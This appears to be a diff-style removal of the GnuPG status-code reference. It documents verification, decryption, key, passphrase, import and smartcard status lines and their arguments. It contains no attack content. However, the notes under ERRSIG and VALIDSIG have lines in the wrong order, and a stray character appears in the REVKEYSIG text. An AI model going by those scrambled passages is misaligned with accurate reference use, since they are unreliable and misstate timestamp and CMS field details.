id="sec-2-1-1"><span class="section-number-4">2.1.1</span> NEWSIG</h4> -<div class="outline-text-4" id="text-2-1-1"> - -<p> May be issued right before a signature verification starts. This - is useful to define a context for parsing ERROR status messages. - No arguments are currently defined. -</p> -</div> - -</div> - -<div id="outline-container-2-1-2" class="outline-4"> -<h4 id="sec-2-1-2"><span class="section-number-4">2.1.2</span> GOODSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-2"> - -<p> The signature with the keyid is good. For each signature only one - of the codes GOODSIG, BADSIG, EXPSIG, EXPKEYSIG, REVKEYSIG or - ERRSIG will be emitted. In the past they were used as a marker - for a new signature; new code should use the NEWSIG status - instead. The username is the primary one encoded in UTF-8 and %XX - escaped. The fingerprint may be used instead of the long keyid if - it is available. This is the case with CMS and might eventually - also be available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-3" class="outline-4"> -<h4 id="sec-2-1-3"><span class="section-number-4">2.1.3</span> EXPSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-3"> - -<p> The signature with the keyid is good, but the signature is - expired. The username is the primary one encoded in UTF-8 and %XX - escaped. The fingerprint may be used instead of the long keyid if - it is available. This is the case with CMS and might eventually - also be available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-4" class="outline-4"> -<h4 id="sec-2-1-4"><span class="section-number-4">2.1.4</span> EXPKEYSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-4"> - -<p> The signature with the keyid is good, but the signature was made - by an expired key. The username is the primary one encoded in - UTF-8 and %XX escaped. The fingerprint may be used instead of the - long keyid if it is available. This is the case with CMS and - might eventually also be available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-5" class="outline-4"> -<h4 id="sec-2-1-5"><span class="section-number-4">2.1.5</span> REVKEYSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-5"> - -<p> The signature with the keyid is good, but the signature was made - by a revoked key. The username is the primary one encoded in UTF-8 - and %XX escaped. The fingerprint may be used instead of the long - keyid if it is available. This is the case with CMS and might - eventually also beñ available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-6" class="outline-4"> -<h4 id="sec-2-1-6"><span class="section-number-4">2.1.6</span> BADSIG <long_keyid_or_fpr> <username></h4> -<div class="outline-text-4" id="text-2-1-6"> - -<p> The signature with the keyid has not been verified okay. The - username is the primary one encoded in UTF-8 and %XX escaped. The - fingerprint may be used instead of the long keyid if it is - available. This is the case with CMS and might eventually also be - available for OpenPGP. -</p> -</div> - -</div> - -<div id="outline-container-2-1-7" class="outline-4"> -<h4 id="sec-2-1-7"><span class="section-number-4">2.1.7</span> ERRSIG <keyid> <pkalgo> <hashalgo> <sig_class> <time> <rc></h4> -<div class="outline-text-4" id="text-2-1-7"> - -<p> It was not possible to check the signature. This may be caused by - a missing public key or an unsupported algorithm. A RC of 4 - indicates unknown algorithm, a 9 indicates a missing public - key. The other fields give more information about this signature. - sig_class is a 2 byte hex-value. The fingerprint may be used - instead of the keyid if it is available. This is the case with - gpgsm and might eventually also be available for OpenPGP. -</p> -<p> - Note, that TIME may either be the number of seconds since Epoch or - the letter 'T'. - an ISO 8601 string. The latter can be detected by the presence of -</p> -</div> - -</div> - -<div id="outline-container-2-1-8" class="outline-4"> -<h4 id="sec-2-1-8"><span class="section-number-4">2.1.8</span> VALIDSIG <args></h4> -<div class="outline-text-4" id="text-2-1-8"> - - -<p> - The args are: -</p> -<ul> -<li><fingerprint_in_hex> -</li> -<li><sig_creation_date> -</li> -<li><sig-timestamp> -</li> -<li><expire-timestamp> -</li> -<li><sig-version> -</li> -<li><reserved> -</li> -<li><pubkey-algo> -</li> -<li><hash-algo> -</li> -<li><sig-class> -</li> -<li>[ <primary-key-fpr> ] -</li> -</ul> - - -<p> - This status indicates that the signature is good. This is the same - as GOODSIG but has the fingerprint as the argument. Both status - lines are emitted for a good signature. All arguments here are on - one long line. sig-timestamp is the signature creation time in - seconds after the epoch. expire-timestamp is the signature - expiration time in seconds after the epoch (zero means "does not - expire"). sig-version, pubkey-algo, hash-algo, and sig-class (a - 2-byte hex value) are all straight from the signature packet. - PRIMARY-KEY-FPR is the fingerprint of the primary key or identical - to the first argument. This is useful to get back to the primary - key without running gpg again for this purpose. -</p> -<p> - The primary-key-fpr parameter is used for OpenPGP and not - class is not defined for CMS and currently set to 0 and 00. - available for CMS signatures. The sig-version as well as the sig -</p> -<p> - Note, that *-TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-1-9" class="outline-4"> -<h4 id="sec-2-1-9"><span class="section-number-4">2.1.9</span> SIG_ID <radix64_string> <sig_creation_date> <sig-timestamp></h4> -<div class="outline-text-4" id="text-2-1-9"> - -<p> This is emitted only for signatures of class 0 or 1 which have - been verified okay. The string is a signature id and may be used - in applications to detect replay attacks of signed messages. Note - that only DLP algorithms give unique ids - others may yield - duplicated ones when they have been created in the same second. -</p> -<p> - Note, that SIG-TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-1-10" class="outline-4"> -<h4 id="sec-2-1-10"><span class="section-number-4">2.1.10</span> ENC_TO <long_keyid> <keytype> <keylength></h4> -<div class="outline-text-4" id="text-2-1-10"> - -<p> The message is encrypted to this LONG_KEYID. KEYTYPE is the - numerical value of the public key algorithm or 0 if it is not - known, KEYLENGTH is the length of the key or 0 if it is not known - (which is currently always the case). Gpg prints this line - always; Gpgsm only if it knows the certificate. -</p> -</div> - -</div> - -<div id="outline-container-2-1-11" class="outline-4"> -<h4 id="sec-2-1-11"><span class="section-number-4">2.1.11</span> BEGIN_DECRYPTION</h4> -<div class="outline-text-4" id="text-2-1-11"> - -<p> Mark the start of the actual decryption process. This is also - emitted when in –list-only mode. -</p></div> - -</div> - -<div id="outline-container-2-1-12" class="outline-4"> -<h4 id="sec-2-1-12"><span class="section-number-4">2.1.12</span> END_DECRYPTION</h4> -<div class="outline-text-4" id="text-2-1-12"> - -<p> Mark the end of the actual decryption process. This are also - emitted when in –list-only mode. -</p></div> - -</div> - -<div id="outline-container-2-1-13" class="outline-4"> -<h4 id="sec-2-1-13"><span class="section-number-4">2.1.13</span> DECRYPTION_INFO <mdc_method> <sym_algo></h4> -<div class="outline-text-4" id="text-2-1-13"> - -<p> Print information about the symmetric encryption algorithm and the - MDC method. This will be emitted even if the decryption fails. -</p> -</div> - -</div> - -<div id="outline-container-2-1-14" class="outline-4"> -<h4 id="sec-2-1-14"><span class="section-number-4">2.1.14</span> DECRYPTION_FAILED</h4> -<div class="outline-text-4" id="text-2-1-14"> - -<p> The symmetric decryption failed - one reason could be a wrong - passphrase for a symmetrical encrypted message. -</p> -</div> - -</div> - -<div id="outline-container-2-1-15" class="outline-4"> -<h4 id="sec-2-1-15"><span class="section-number-4">2.1.15</span> DECRYPTION_OKAY</h4> -<div class="outline-text-4" id="text-2-1-15"> - -<p> The decryption process succeeded. This means, that either the - correct secret key has been used or the correct passphrase for a - conventional encrypted message was given. The program itself may - return an errorcode because it may not be possible to verify a - signature for some reasons. -</p> -</div> - -</div> - -<div id="outline-container-2-1-16" class="outline-4"> -<h4 id="sec-2-1-16"><span class="section-number-4">2.1.16</span> SESSION_KEY <algo>:<hexdigits></h4> -<div class="outline-text-4" id="text-2-1-16"> - -<p> The session key used to decrypt the message. This message will - only be emitted when the special option –show-session-key is - used. The format is suitable to be passed to the option - –override-session-key -</p> -</div> - -</div> - -<div id="outline-container-2-1-17" class="outline-4"> -<h4 id="sec-2-1-17"><span class="section-number-4">2.1.17</span> BEGIN_ENCRYPTION <mdc_method> <sym_algo></h4> -<div class="outline-text-4" id="text-2-1-17"> - -<p> Mark the start of the actual encryption process. -</p> -</div> - -</div> - -<div id="outline-container-2-1-18" class="outline-4"> -<h4 id="sec-2-1-18"><span class="section-number-4">2.1.18</span> END_ENCRYPTION</h4> -<div class="outline-text-4" id="text-2-1-18"> - -<p> Mark the end of the actual encryption process. -</p> -</div> - -</div> - -<div id="outline-container-2-1-19" class="outline-4"> -<h4 id="sec-2-1-19"><span class="section-number-4">2.1.19</span> FILE_START <what> <filename></h4> -<div class="outline-text-4" id="text-2-1-19"> - -<p> Start processing a file <filename>. <what> indicates the performed - operation: -</p><dl> -<dt>1</dt><dd>verify -</dd> -<dt>2</dt><dd>encrypt -</dd> -<dt>3</dt><dd>decrypt -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-1-20" class="outline-4"> -<h4 id="sec-2-1-20"><span class="section-number-4">2.1.20</span> FILE_DONE</h4> -<div class="outline-text-4" id="text-2-1-20"> - -<p> Marks the end of a file processing which has been started - by FILE_START. -</p> -</div> - -</div> - -<div id="outline-container-2-1-21" class="outline-4"> -<h4 id="sec-2-1-21"><span class="section-number-4">2.1.21</span> BEGIN_SIGNING</h4> -<div class="outline-text-4" id="text-2-1-21"> - -<p> Mark the start of the actual signing process. This may be used as - an indication that all requested secret keys are ready for use. -</p> -</div> - -</div> - -<div id="outline-container-2-1-22" class="outline-4"> -<h4 id="sec-2-1-22"><span class="section-number-4">2.1.22</span> ALREADY_SIGNED <long-keyid></h4> -<div class="outline-text-4" id="text-2-1-22"> - -<p> Warning: This is experimental and might be removed at any time. -</p> -</div> - -</div> - -<div id="outline-container-2-1-23" class="outline-4"> -<h4 id="sec-2-1-23"><span class="section-number-4">2.1.23</span> SIG_CREATED <type> <pk_algo> <hash_algo> <class> <timestamp> <keyfpr></h4> -<div class="outline-text-4" id="text-2-1-23"> - -<p> A signature has been created using these parameters. - Values for type <type> are: -</p><dl> -<dt>D</dt><dd>detached -</dd> -<dt>C</dt><dd>cleartext -</dd> -<dt>S</dt><dd>standard -</dd> -</dl> - -<p> (only the first character should be checked) -</p> -<p> - <class> are 2 hex digits with the OpenPGP signature class. -</p> -<p> - Note, that TIMESTAMP may either be a number of seconds since Epoch - or an ISO 8601 string which can be detected by the presence of the - letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-1-24" class="outline-4"> -<h4 id="sec-2-1-24"><span class="section-number-4">2.1.24</span> NOTATION_</h4> -<div class="outline-text-4" id="text-2-1-24"> - -<p> There are actually two related status codes to convey notation - data: -</p> -<ul> -<li>NOTATION_NAME <name> -</li> -<li>NOTATION_DATA <string> -</li> -</ul> - - -<p> - <name> and <string> are %XX escaped; the data may be split among - several NOTATION_DATA lines. -</p> -</div> - -</div> - -<div id="outline-container-2-1-25" class="outline-4"> -<h4 id="sec-2-1-25"><span class="section-number-4">2.1.25</span> POLICY_URL <string></h4> -<div class="outline-text-4" id="text-2-1-25"> - -<p> Note that URL in <string> is %XX escaped. -</p> -</div> - -</div> - -<div id="outline-container-2-1-26" class="outline-4"> -<h4 id="sec-2-1-26"><span class="section-number-4">2.1.26</span> PLAINTEXT <format> <timestamp> <filename></h4> -<div class="outline-text-4" id="text-2-1-26"> - -<p> This indicates the format of the plaintext that is about to be - written. The format is a 1 byte hex code that shows the format of - the plaintext: 62 ('b') is binary data, 74 ('t') is text data with - no character set specified, and 75 ('u') is text data encoded in - the UTF-8 character set. The timestamp is in seconds since the - epoch. If a filename is available it gets printed as the third - argument, percent-escaped as usual. -</p> -</div> - -</div> - -<div id="outline-container-2-1-27" class="outline-4"> -<h4 id="sec-2-1-27"><span class="section-number-4">2.1.27</span> PLAINTEXT_LENGTH <length></h4> -<div class="outline-text-4" id="text-2-1-27"> - -<p> This indicates the length of the plaintext that is about to be - written. Note that if the plaintext packet has partial length - encoding it is not possible to know the length ahead of time. In - that case, this status tag does not appear. -</p> -</div> - -</div> - -<div id="outline-container-2-1-28" class="outline-4"> -<h4 id="sec-2-1-28"><span class="section-number-4">2.1.28</span> ATTRIBUTE <arguments></h4> -<div class="outline-text-4" id="text-2-1-28"> - -<p> The list or argemnts are: -</p><ul> -<li><fpr> -</li> -<li><octets> -</li> -<li><type> -</li> -<li><index> -</li> -<li><count> -</li> -<li><timestamp> -</li> -<li><expiredate> -</li> -<li><flags> -</li> -</ul> - - -<p> - This is one long line issued for each attribute subpacket when an - attribute packet is seen during key listing. <fpr> is the - fingerprint of the key. <octets> is the length of the attribute - subpacket. <type> is the attribute type (e.g. 1 for an image). - <index> and <count> indicate that this is the N-th indexed - subpacket of count total subpackets in this attribute packet. - <timestamp> and <expiredate> are from the self-signature on the - attribute packet. If the attribute packet does not have a valid - self-signature, then the timestamp is 0. <flags> are a bitwise OR - of: -</p><dl> -<dt>0x01</dt><dd>this attribute packet is a primary uid -</dd> -<dt>0x02</dt><dd>this attribute packet is revoked -</dd> -<dt>0x04</dt><dd>this attribute packet is expired -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-1-29" class="outline-4"> -<h4 id="sec-2-1-29"><span class="section-number-4">2.1.29</span> SIG_SUBPACKET <type> <flags> <len> <data></h4> -<div class="outline-text-4" id="text-2-1-29"> - -<p> This indicates that a signature subpacket was seen. The format is - the same as the "spk" record above. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-2" class="outline-3"> -<h3 id="sec-2-2"><span class="section-number-3">2.2</span> Key related</h3> -<div class="outline-text-3" id="text-2-2"> - - -</div> - -<div id="outline-container-2-2-1" class="outline-4"> -<h4 id="sec-2-2-1"><span class="section-number-4">2.2.1</span> INV_RECP, INV_SGNR</h4> -<div class="outline-text-4" id="text-2-2-1"> - -<p> The two similar status codes: -</p> -<ul> -<li>INV_RECP <reason> <requested_recipient> -</li> -<li>INV_SGNR <reason> <requested_sender> -</li> -</ul> - - -<p> - are issued for each unusable recipient/sender. The reasons codes - currently in use are: -</p> -<dl> -<dt>0</dt><dd>No specific reason given -</dd> -<dt>1</dt><dd>Not Found -</dd> -<dt>2</dt><dd>Ambigious specification -</dd> -<dt>3</dt><dd>Wrong key usage -</dd> -<dt>4</dt><dd>Key revoked -</dd> -<dt>5</dt><dd>Key expired -</dd> -<dt>6</dt><dd>No CRL known -</dd> -<dt>7</dt><dd>CRL too old -</dd> -<dt>8</dt><dd>Policy mismatch -</dd> -<dt>9</dt><dd>Not a secret key -</dd> -<dt>10</dt><dd>Key not trusted -</dd> -<dt>11</dt><dd>Missing certificate -</dd> -<dt>12</dt><dd>Missing issuer certificate -</dd> -</dl> - - -<p> - Note that for historical reasons the INV_RECP status is also used - for gpgsm's SIGNER command where it relates to signer's of course. - Newer GnuPG versions are using INV_SGNR; applications should - ignore the INV_RECP during the sender's command processing once - they have seen an INV_SGNR. Different codes are used so that they - can be distinguish while doing an encrypt+sign operation. -</p></div> - -</div> - -<div id="outline-container-2-2-2" class="outline-4"> -<h4 id="sec-2-2-2"><span class="section-number-4">2.2.2</span> NO_RECP <reserved></h4> -<div class="outline-text-4" id="text-2-2-2"> - -<p> Issued if no recipients are usable. -</p> -</div> - -</div> - -<div id="outline-container-2-2-3" class="outline-4"> -<h4 id="sec-2-2-3"><span class="section-number-4">2.2.3</span> NO_SGNR <reserved></h4> -<div class="outline-text-4" id="text-2-2-3"> - -<p> Issued if no senders are usable. -</p> -</div> - -</div> - -<div id="outline-container-2-2-4" class="outline-4"> -<h4 id="sec-2-2-4"><span class="section-number-4">2.2.4</span> KEYEXPIRED <expire-timestamp></h4> -<div class="outline-text-4" id="text-2-2-4"> - -<p> The key has expired. expire-timestamp is the expiration time in - seconds since Epoch. This status line is not very useful because - it will also be emitted for expired subkeys even if this subkey is - not used. To check whether a key used to sign a message has - expired, the EXPKEYSIG status line is to be used. -</p> -<p> - Note, that the TIMESTAMP may either be a number of seconds since - Epoch or an ISO 8601 string which can be detected by the presence - of the letter 'T'. -</p> -</div> - -</div> - -<div id="outline-container-2-2-5" class="outline-4"> -<h4 id="sec-2-2-5"><span class="section-number-4">2.2.5</span> KEYREVOKED</h4> -<div class="outline-text-4" id="text-2-2-5"> - -<p> The used key has been revoked by its owner. No arguments yet. -</p> -</div> - -</div> - -<div id="outline-container-2-2-6" class="outline-4"> -<h4 id="sec-2-2-6"><span class="section-number-4">2.2.6</span> NO_PUBKEY <long keyid></h4> -<div class="outline-text-4" id="text-2-2-6"> - -<p> The public key is not available -</p> -</div> - -</div> - -<div id="outline-container-2-2-7" class="outline-4"> -<h4 id="sec-2-2-7"><span class="section-number-4">2.2.7</span> NO_SECKEY <long keyid></h4> -<div class="outline-text-4" id="text-2-2-7"> - -<p> The secret key is not available -</p> -</div> - -</div> - -<div id="outline-container-2-2-8" class="outline-4"> -<h4 id="sec-2-2-8"><span class="section-number-4">2.2.8</span> KEY_CREATED <type> <fingerprint> [<handle>]</h4> -<div class="outline-text-4" id="text-2-2-8"> - -<p> A key has been created. Values for <type> are: -</p><dl> -<dt>B</dt><dd>primary and subkey -</dd> -<dt>P</dt><dd>primary -</dd> -<dt>S</dt><dd>subkey -</dd> -</dl> - -<p> The fingerprint is one of the primary key for type B and P and the - one of the subkey for S. Handle is an arbitrary non-whitespace - string used to match key parameters from batch key creation run. -</p> -</div> - -</div> - -<div id="outline-container-2-2-9" class="outline-4"> -<h4 id="sec-2-2-9"><span class="section-number-4">2.2.9</span> KEY_NOT_CREATED [<handle>]</h4> -<div class="outline-text-4" id="text-2-2-9"> - -<p> The key from batch run has not been created due to errors. -</p> -</div> - -</div> - -<div id="outline-container-2-2-10" class="outline-4"> -<h4 id="sec-2-2-10"><span class="section-number-4">2.2.10</span> TRUST_</h4> -<div class="outline-text-4" id="text-2-2-10"> - -<p> These are several similar status codes: -</p> -<ul> -<li>TRUST_UNDEFINED <error_token> -</li> -<li>TRUST_NEVER <error_token> -</li> -<li>TRUST_MARGINAL [0 [<validation_model>]] -</li> -<li>TRUST_FULLY [0 [<validation_model>]] -</li> -<li>TRUST_ULTIMATE [0 [<validation_model>]] -</li> -</ul> - - -<p> - For good signatures one of these status lines are emitted to - indicate the validity of the key used to create the signature. - The error token values are currently only emitted by gpgsm. -</p> -<p> - VALIDATION_MODEL describes the algorithm used to check the - validity of the key. The defaults are the standard Web of Trust - model for gpg and the the standard X.509 model for gpgsm. The - defined values are -</p> -<dl> -<dt>pgp </dt><dd>The standard PGP WoT. -</dd> -<dt>shell</dt><dd>The standard X.509 model. -</dd> -<dt>chain</dt><dd>The chain model. -</dd> -<dt>steed</dt><dd>The STEED model. -</dd> -</dl> - - -<p> - Note that the term <code>TRUST_</code> in the status names is used for - historic reasons; we now speak of validity. -</p> -</div> - -</div> - -<div id="outline-container-2-2-11" class="outline-4"> -<h4 id="sec-2-2-11"><span class="section-number-4">2.2.11</span> PKA_TRUST_</h4> -<div class="outline-text-4" id="text-2-2-11"> - -<p> This is is one: -</p> -<ul> -<li>PKA_TRUST_GOOD <mailbox> -</li> -<li>PKA_TRUST_BAD <mailbox> -</li> -</ul> - - -<p> - Depending on the outcome of the PKA check one of the above status - codes is emitted in addition to a <code>TRUST_*</code> status. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-3" class="outline-3"> -<h3 id="sec-2-3"><span class="section-number-3">2.3</span> Remote control</h3> -<div class="outline-text-3" id="text-2-3"> - - -</div> - -<div id="outline-container-2-3-1" class="outline-4"> -<h4 id="sec-2-3-1"><span class="section-number-4">2.3.1</span> GET_BOOL, GET_LINE, GET_HIDDEN, GOT_IT</h4> -<div class="outline-text-4" id="text-2-3-1"> - - -<p> - These status line are used with –command-fd for interactive - control of the process. -</p> -</div> - -</div> - -<div id="outline-container-2-3-2" class="outline-4"> -<h4 id="sec-2-3-2"><span class="section-number-4">2.3.2</span> USERID_HINT <long main keyid> <string></h4> -<div class="outline-text-4" id="text-2-3-2"> - -<p> Give a hint about the user ID for a certain keyID. -</p> -</div> - -</div> - -<div id="outline-container-2-3-3" class="outline-4"> -<h4 id="sec-2-3-3"><span class="section-number-4">2.3.3</span> NEED_PASSPHRASE <long keyid> <long main keyid> <keytype> <keylength></h4> -<div class="outline-text-4" id="text-2-3-3"> - -<p> Issued whenever a passphrase is needed. KEYTYPE is the numerical - value of the public key algorithm or 0 if this is not applicable, - KEYLENGTH is the length of the key or 0 if it is not known (this - is currently always the case). -</p> -</div> - -</div> - -<div id="outline-container-2-3-4" class="outline-4"> -<h4 id="sec-2-3-4"><span class="section-number-4">2.3.4</span> NEED_PASSPHRASE_SYM <cipher_algo> <s2k_mode> <s2k_hash></h4> -<div class="outline-text-4" id="text-2-3-4"> - -<p> Issued whenever a passphrase for symmetric encryption is needed. -</p> -</div> - -</div> - -<div id="outline-container-2-3-5" class="outline-4"> -<h4 id="sec-2-3-5"><span class="section-number-4">2.3.5</span> NEED_PASSPHRASE_PIN <card_type> <chvno> [<serialno>]</h4> -<div class="outline-text-4" id="text-2-3-5"> - -<p> Issued whenever a PIN is requested to unlock a card. -</p> -</div> - -</div> - -<div id="outline-container-2-3-6" class="outline-4"> -<h4 id="sec-2-3-6"><span class="section-number-4">2.3.6</span> MISSING_PASSPHRASE</h4> -<div class="outline-text-4" id="text-2-3-6"> - -<p> No passphrase was supplied. An application which encounters this - message may want to stop parsing immediately because the next - message will probably be a BAD_PASSPHRASE. However, if the - application is a wrapper around the key edit menu functionality it - might not make sense to stop parsing but simply ignoring the - following BAD_PASSPHRASE. -</p> -</div> - -</div> - -<div id="outline-container-2-3-7" class="outline-4"> -<h4 id="sec-2-3-7"><span class="section-number-4">2.3.7</span> BAD_PASSPHRASE <long keyid></h4> -<div class="outline-text-4" id="text-2-3-7"> - -<p> The supplied passphrase was wrong or not given. In the latter - case you may have seen a MISSING_PASSPHRASE. -</p> -</div> - -</div> - -<div id="outline-container-2-3-8" class="outline-4"> -<h4 id="sec-2-3-8"><span class="section-number-4">2.3.8</span> GOOD_PASSPHRASE</h4> -<div class="outline-text-4" id="text-2-3-8"> - -<p> The supplied passphrase was good and the secret key material - is therefore usable. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-4" class="outline-3"> -<h3 id="sec-2-4"><span class="section-number-3">2.4</span> Import/Export</h3> -<div class="outline-text-3" id="text-2-4"> - - -</div> - -<div id="outline-container-2-4-1" class="outline-4"> -<h4 id="sec-2-4-1"><span class="section-number-4">2.4.1</span> IMPORT_CHECK <long keyid> <fingerprint> <user ID></h4> -<div class="outline-text-4" id="text-2-4-1"> - -<p> This status is emitted in interactive mode right before - the "import.okay" prompt. -</p> -</div> - -</div> - -<div id="outline-container-2-4-2" class="outline-4"> -<h4 id="sec-2-4-2"><span class="section-number-4">2.4.2</span> IMPORTED <long keyid> <username></h4> -<div class="outline-text-4" id="text-2-4-2"> - -<p> The keyid and name of the signature just imported -</p> -</div> - -</div> - -<div id="outline-container-2-4-3" class="outline-4"> -<h4 id="sec-2-4-3"><span class="section-number-4">2.4.3</span> IMPORT_OK <reason> [<fingerprint>]</h4> -<div class="outline-text-4" id="text-2-4-3"> - -<p> The key with the primary key's FINGERPRINT has been imported. - REASON flags are: -</p> -<dl> -<dt>0</dt><dd>Not actually changed -</dd> -<dt>1</dt><dd>Entirely new key. -</dd> -<dt>2</dt><dd>New user IDs -</dd> -<dt>4</dt><dd>New signatures -</dd> -<dt>8</dt><dd>New subkeys -</dd> -<dt>16</dt><dd>Contains private key. -</dd> -</dl> - - -<p> - The flags may be ORed. -</p> -</div> - -</div> - -<div id="outline-container-2-4-4" class="outline-4"> -<h4 id="sec-2-4-4"><span class="section-number-4">2.4.4</span> IMPORT_PROBLEM <reason> [<fingerprint>]</h4> -<div class="outline-text-4" id="text-2-4-4"> - -<p> Issued for each import failure. Reason codes are: -</p> -<dl> -<dt>0</dt><dd>No specific reason given. -</dd> -<dt>1</dt><dd>Invalid Certificate. -</dd> -<dt>2</dt><dd>Issuer Certificate missing. -</dd> -<dt>3</dt><dd>Certificate Chain too long. -</dd> -<dt>4</dt><dd>Error storing certificate. -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-4-5" class="outline-4"> -<h4 id="sec-2-4-5"><span class="section-number-4">2.4.5</span> IMPORT_RES <args></h4> -<div class="outline-text-4" id="text-2-4-5"> - -<p> Final statistics on import process (this is one long line). The - args are a list of unsigned numbers separated by white space: -</p> -<ul> -<li><count> -</li> -<li><no_user_id> -</li> -<li><imported> -</li> -<li><imported_rsa> -</li> -<li><unchanged> -</li> -<li><n_uids> -</li> -<li><n_subk> -</li> -<li><n_sigs> -</li> -<li><n_revoc> -</li> -<li><sec_read> -</li> -<li><sec_imported> -</li> -<li><sec_dups> -</li> -<li><skipped_new_keys> -</li> -<li><not_imported> -</li> -</ul> - - -</div> -</div> - -</div> - -<div id="outline-container-2-5" class="outline-3"> -<h3 id="sec-2-5"><span class="section-number-3">2.5</span> Smartcard related</h3> -<div class="outline-text-3" id="text-2-5"> - - -</div> - -<div id="outline-container-2-5-1" class="outline-4"> -<h4 id="sec-2-5-1"><span class="section-number-4">2.5.1</span> CARDCTRL <what> [<serialno>]</h4> -<div class="outline-text-4" id="text-2-5-1"> - -<p> This is used to control smartcard operations. Defined values for - WHAT are: -</p> -<dl> -<dt>1</dt><dd>Request insertion of a card. Serialnumber may be given - to request a specific card. Used by gpg 1.4 w/o - scdaemon -</dd> -<dt>2</dt><dd>Request removal of a card. Used by gpg 1.4 w/o scdaemon. -</dd> -<dt>3</dt><dd>Card with serialnumber detected -</dd> -<dt>4</dt><dd>No card available -</dd> -<dt>5</dt><dd>No card reader available -</dd> -<dt>6</dt><dd>No card support available -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-5-2" class="outline-4"> -<h4 id="sec-2-5-2"><span class="section-number-4">2.5.2</span> SC_OP_FAILURE [<code>]</h4> -<div class="outline-text-4" id="text-2-5-2"> - -<p> An operation on a smartcard definitely failed. Currently there is - no indication of the actual error code, but application should be - prepared to later accept more arguments. Defined values for - <code> are: -</p> -<dl> -<dt>0</dt><dd>unspecified error (identically to a missing CODE) -</dd> -<dt>1</dt><dd>canceled -</dd> -<dt>2</dt><dd>bad PIN -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-5-3" class="outline-4"> -<h4 id="sec-2-5-3"><span class="section-number-4">2.5.3</span> SC_OP_SUCCESS</h4> -<div class="outline-text-4" id="text-2-5-3"> - -<p> A smart card operaion succeeded. This status is only printed for - certain operation and is mostly useful to check whether a PIN - change really worked. -</p> -</div> -</div> - -</div> - -<div id="outline-container-2-6" class="outline-3"> -<h3 id="sec-2-6"><span class="section-number-3">2.6</span> Miscellaneous status codes</h3> -<div class="outline-text-3" id="text-2-6"> - - -</div> - -<div id="outline-container-2-6-1" class="outline-4"> -<h4 id="sec-2-6-1"><span class="section-number-4">2.6.1</span> NODATA <what></h4> -<div class="outline-text-4" id="text-2-6-1"> - -<p> No data has been found. Codes for WHAT are: -</p> -<dl> -<dt>1</dt><dd>No armored data. -</dd> -<dt>2</dt><dd>Expected a packet but did not found one. -</dd> -<dt>3</dt><dd>Invalid packet found, this may indicate a non OpenPGP - message. -</dd> -<dt>4</dt><dd>Signature expected but not found -</dd> -</dl> - - -<p> - You may see more than one of these status lines. -</p> -</div> - -</div> - -<div id="outline-container-2-6-2" class="outline-4"> -<h4 id="sec-2-6-2"><span class="section-number-4">2.6.2</span> UNEXPECTED <what></h4> -<div class="outline-text-4" id="text-2-6-2"> - -<p> Unexpected data has been encountered. Codes for WHAT are: -</p><dl> -<dt>0</dt><dd>Not further specified -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-6-3" class="outline-4"> -<h4 id="sec-2-6-3"><span class="section-number-4">2.6.3</span> TRUNCATED <maxno></h4> -<div class="outline-text-4" id="text-2-6-3"> - -<p> The output was truncated to MAXNO items. This status code is - issued for certain external requests. -</p> -</div> - -</div> - -<div id="outline-container-2-6-4" class="outline-4"> -<h4 id="sec-2-6-4"><span class="section-number-4">2.6.4</span> ERROR <error location> <error code> [<more>]</h4> -<div class="outline-text-4" id="text-2-6-4"> - -<p> This is a generic error status message, it might be followed by - error location specific data. <error code> and <error_location> - should not contain spaces. The error code is a either a string - commencing with a letter or such a string prefixed with a - numerical error code and an underscore; e.g.: "151011327_EOF". -</p> -</div> - -</div> - -<div id="outline-container-2-6-5" class="outline-4"> -<h4 id="sec-2-6-5"><span class="section-number-4">2.6.5</span> SUCCESS [<location>]</h4> -<div class="outline-text-4" id="text-2-6-5"> - -<p> Postive confirimation that an operation succeeded. <location> is - optional but if given should not contain spaces. Used only with a - few commands. -</p> -</div> - -</div> - -<div id="outline-container-2-6-6" class="outline-4"> -<h4 id="sec-2-6-6"><span class="section-number-4">2.6.6</span> BADARMOR</h4> -<div class="outline-text-4" id="text-2-6-6"> - -<p> The ASCII armor is corrupted. No arguments yet. -</p> -</div> - -</div> - -<div id="outline-container-2-6-7" class="outline-4"> -<h4 id="sec-2-6-7"><span class="section-number-4">2.6.7</span> DELETE_PROBLEM <reason_code></h4> -<div class="outline-text-4" id="text-2-6-7"> - -<p> Deleting a key failed. Reason codes are: -</p><dl> -<dt>1</dt><dd>No such key -</dd> -<dt>2</dt><dd>Must delete secret key first -</dd> -<dt>3</dt><dd>Ambigious specification -</dd> -</dl> - - -</div> - -</div> - -<div id="outline-container-2-6-8" class="outline-4"> -<h4 id="sec-2-6-8"><span class="section-number-4">2.6.8</span> PROGRESS <what> <char> <cur> <total></h4> -<div class="outline-text-4" id="text-2-6-8"> - -<p> Used by the primegen and Public key functions to indicate - progress. <char> is the character displayed with no –status-fd - enabled, with the linefeed replaced by an 'X'. <cur> is the - current amount done and <total> is amount to be done; a <total> of - 0 indicates that the total amount is not known. The condition -</p><pre class="example"> - TOTAL && CUR == TOTAL -</pre> - -<p> may be used to detect the end of an operation. -</p> -<p> - Well known values for WHAT are: -</p> -<dl> -<dt>pk_dsa </dt><dd>DSA key generation -</dd> 